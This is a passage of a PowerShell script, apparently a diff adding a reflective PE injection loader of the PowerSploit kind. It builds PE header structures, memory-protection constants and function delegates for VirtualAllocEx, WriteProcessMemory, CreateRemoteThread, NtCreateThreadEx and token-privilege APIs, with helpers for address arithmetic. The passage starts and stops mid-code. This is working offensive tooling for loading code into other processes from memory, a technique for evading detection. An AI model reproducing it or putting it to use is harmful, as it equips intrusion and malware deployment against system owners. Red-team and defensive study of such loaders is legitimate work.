[UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, 